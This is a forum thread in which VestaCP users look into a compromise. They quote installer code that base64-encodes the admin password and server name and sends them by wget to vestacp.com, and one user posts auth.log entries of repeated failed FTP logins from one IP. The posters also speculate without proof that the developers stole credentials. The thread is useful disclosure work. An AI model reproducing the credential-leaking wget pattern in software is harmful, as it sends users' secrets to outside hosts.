All VestaCP installations being attacked Topic is solved

[Prime_]

Code: Select all

codename="$codename:$(echo $vpass:$servername | base64)"

which is not in the older version. as we can see this adds the servername and admin password ($vpass) encoded as base64 string to a variable named codename. so I looked up what is done with that var in the process and found this

Code: Select all

# Sending install notification to vestacp.com
wget vestacp.com/notify/?$codename -O /dev/null -q

so obviously the servername and password are send via GET request to some kind of script under vestacp.com ???

What you did find out is ... mind boggling.

The fact that VestaCP staff have access to all root credentials and the credentials were most likely written to access_log as well..

How do you respond to this, Vesta team? This is a legitimate issue and the Vesta team were knowingly saving down sensitive data..

[desfire]

Holy shit..

[L4ky]

That's a huge mistake.

Leak was introduced here:
https://github.com/serghey-rodin/vesta/ ... 5c0b99518f
Leak was removed here:
https://github.com/serghey-rodin/vesta/ ... ef0f8ee35b

From 31 May to 13 June Ubuntu installer was leaking admin passwords..

Well, explanaition from Vesta team is required.

[harry]

This seems like some dirty stuff.
I basically see three options
1. We get an explanation from the developers (considering how inactive they are, highly unlikely)
2. We all move away from VestaCP as for now it is just an insecure pile of ....
3. Move to VestaCP fork by MadeITBelgium (google it) it has ipv6 and is actively maintained, unlike the original.

[Prime_]

This seems like some dirty stuff.
I basically see three options
1. We get an explanation from the developers (considering how inactive they are, highly unlikely)

That's very unlikely indeed and especially since they did know about this months ago. Who knows, maybe someone in the Vesta team implanted this to steal login credentials to abuse those?

[harry]

That indeed could be an option
I still like VestaCP, it is really sad this is happening. I did upgrade manually to the fork by MadeITBelgium and restricted the port using iptables, so far so good. The fork seems to be clean and well maintained. Currently looking into to a way of making transitiong really easy. Also, considering how vesta's team had been acting, I no longer see any value in buying any of the plugins so I will enable them all for free.

[harry]

It is either dead or the team itself is responsible for stealing passwords and hacking into servers. There is not other explanation.

[Prime_]

I do think the only way to get their attention is through Github, so I did post about the issue in the on-going thread on their Github:
https://github.com/serghey-rodin/vesta/issues/1715

[imperio]

Now we are working under fix

[albertus]

The Vesta service was running and I had SSH access enabled just for the admin user. I set the password with the installation command.

thanks for the info, that's interesting... I tried to investigate some more and checked some servers I installed in august and came across this entries in auth.log

Code: Select all

auth.log.3:Sep 19 00:37:28 proftpd[4903]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 01:04:52 proftpd[5849]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 01:19:39 proftpd[6420]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 02:05:25 proftpd[8368]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 02:24:01 proftpd[9140]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 02:57:34 proftpd[10503]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 03:07:51 proftpd[10936]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 03:54:30 proftpd[12732]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 03:54:43 proftpd[12733]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 05:34:24 proftpd[16942]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 06:28:39 proftpd[19290]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 07:00:17 proftpd[20663]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 07:24:55 proftpd[21425]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 08:10:19 proftpd[23752]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 08:24:53 proftpd[24133]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 09:23:22 proftpd[26437]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 09:27:59 proftpd[26674]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 10:34:29 proftpd[29523]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password
auth.log.3:Sep 19 10:38:46 proftpd[29711]: 127.0.0.1 (62.210.220.215[62.210.220.215]) - USER admin (Login failed): Incorrect password

while there always might be some random attempts to log into the ftp server, this amount seems unusual. the date and time seem to match the first occurences of outgoing attacks.
of course this could be a conincidentical brute force attempt. but I think it looks suspicious and might be the attacker trying to login with a specific password? but how did he get that then?

still my server wasn't affected after all, obviously the password that has been tried was wrong. worth noting that I do not set the admins password with the install command nor do I use the randomly generated one.
maybe that saved my ass this time...

OMG. However, I got some CentOS 7 servers affected. So, I hate to say it, but we gotta keep looking.